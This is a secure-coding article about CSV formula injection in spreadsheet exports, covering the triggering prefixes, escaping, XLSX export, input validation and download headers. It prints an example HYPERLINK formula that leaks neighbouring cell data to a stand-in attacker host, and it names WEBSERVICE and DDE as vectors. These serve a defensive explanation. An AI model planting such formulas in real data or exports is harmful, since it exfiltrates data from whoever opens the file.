CSV formula injection: when your export becomes code in someone's spreadsheet
Your application lets users enter a display name, and lets administrators export the user list as CSV. Nothing about that sounds risky. CSV is a text format with no scripting, no macros and no executable content.
The risk is not in the file. It is in what a spreadsheet does when it opens one.
The mechanism
Excel, LibreOffice Calc and Google Sheets all treat a CSV cell beginning with certain characters as a formula rather than as text.
| Prefix | Meaning |
|---|---|
= | Formula |
+ | Formula, legacy Lotus compatibility |
- | Formula, if followed by a function |
@ | Formula, legacy Lotus compatibility |
| Tab, CR | Can shift parsing so a following formula character is treated as one |
So a user whose display name is =1+1 produces an export where that cell shows 2. Harmless, and also proof that arbitrary formula content in your data is being evaluated on someone else's machine.
The useful formulas for an attacker are the ones that reach the network. HYPERLINK builds a clickable link whose text can be made to look legitimate and whose target carries data from other cells:
=HYPERLINK("https://attacker.example/?d="&A2&B2, "Open report")
An administrator opens the export, sees a plausible looking link in a column that normally has links, clicks it, and the contents of the neighbouring cells go out in the query string. Nothing is triggered without a click, which is precisely what makes it work; the user performs an ordinary action.
WEBSERVICE in Excel fetches a URL without a click, though it is restricted in recent versions and prompts in many configurations. Older Excel supported DDE, which could launch external programs; Microsoft disabled it by default after it was widely abused, but it remains present in old files and old installations.
The severity varies by spreadsheet, version and configuration, and modern versions warn more than old ones. That variance is the argument for fixing it on the producing side, since you do not control which build of Excel your customer uses.
Why this is your bug
The instinct is to call this a spreadsheet problem. Two reasons it is not.
The data came from your application. Whoever opens the export trusts it because it came from you, and the warning prompt, if they see one, is about a file they deliberately downloaded from a system they use every day. That is the weakest position a security prompt can be in.
And the victim is usually not the person who entered the data. Users type their own names; administrators, finance teams and support staff open the exports. The attacker chooses the payload and your export chooses the target.
The same applies to anything else that flows into a spreadsheet: exported logs, invoice line descriptions, form responses, error messages containing user input, and any CSV or TSV your API produces.
Escaping that works
The fix that people reach for first is quoting the field:
"=HYPERLINK(""https://attacker.example"",""click"")"
This does not help. Quotes are CSV syntax. The parser strips them, and the spreadsheet then sees a cell whose content begins with =. Correct CSV quoting is necessary for fields containing commas and newlines, and it does nothing for formula injection.
The approach that does work is to make the cell start with something other than a formula character. Prefixing with a single quote is the common answer, since Excel interprets a leading apostrophe as "the rest is text":
'=HYPERLINK("https://attacker.example","click")
Be aware of the tradeoff: the apostrophe is a real character in the file. Any program that reads the CSV programmatically rather than opening it in a spreadsheet sees it and will need to strip it, and Google Sheets handles a leading apostrophe slightly differently from Excel.
The alternatives, in rough order of preference:
Export a real XLSX instead. In a genuine spreadsheet file, each cell has a declared type. Write the cell as a string and the content is a string, whatever it starts with, with no escaping and no stray characters. Every mainstream language has a library for this. If the export is intended for spreadsheet users, this is the right format and CSV is a compromise that exists for historical reasons.
Reject the input at entry. A display name has no business starting with =. Validating at the point of entry means the data is clean everywhere, not just in one export path, and the person who sees the error is the person who typed it.
Strip or replace the leading character at export. Deterministic and predictable, at the cost of altering the data.
Whichever you choose, apply it in one place. The bug reappears whenever someone adds a new export endpoint and reimplements the serialisation, so the escaping belongs inside a shared CSV writer that every export path uses. When you are checking what a given export actually produces, the JSON to CSV converter runs entirely in the browser, so you can inspect the exact output for a sample record without uploading customer data anywhere.
Serve the file so it is not rendered
Two headers reduce the surrounding risk:
Content-Type: text/csv; charset=utf-8
Content-Disposition: attachment; filename="users-2026-09.csv"
Content-Disposition: attachment stops the browser rendering the content inline, which matters if an attacker can get HTML into a field and the response is served with a guessable content type. Always include the explicit charset, and quote the filename. Common MIME types covers the type registrations, and cookie flags and headers covers the response header set more broadly.
While you are there: encoding and separators
Two other CSV problems arrive with the same ticket.
UTF-8 in Excel. Excel on Windows does not reliably detect UTF-8 in a CSV without a byte order mark, so accented characters and emoji arrive as mojibake. Adding a BOM fixes Excel and can upset strict parsers that do not expect it. CSV encoding and the Excel UTF-8 BOM covers the tradeoff.
Separators. Excel chooses the field separator from the operating system's list separator setting, so a comma separated file opens as a single column on a machine configured for semicolons. A sep=; line as the first row of the file overrides this in Excel, and is a parse error almost everywhere else. Another argument for XLSX when the audience is spreadsheet users.
A short checklist
- Validate on input: reject leading
=,+,-,@, tab and carriage return in fields that have no reason to contain them. - Escape on export, in one shared writer, for every field including headers.
- Prefer XLSX when the destination is a spreadsheet.
- Serve with
Content-Type: text/csv; charset=utf-8andContent-Disposition: attachment. - Test with a payload, not by reading the code. Put
=HYPERLINK("https://example.com","test")in a name field, export, and open the result in Excel and in Sheets.
Related reading: convert CSV to JSON and JSON to CSV: API to spreadsheet cover the conversions themselves, and share logs and API keys safely covers the other common way data leaves a system in a file.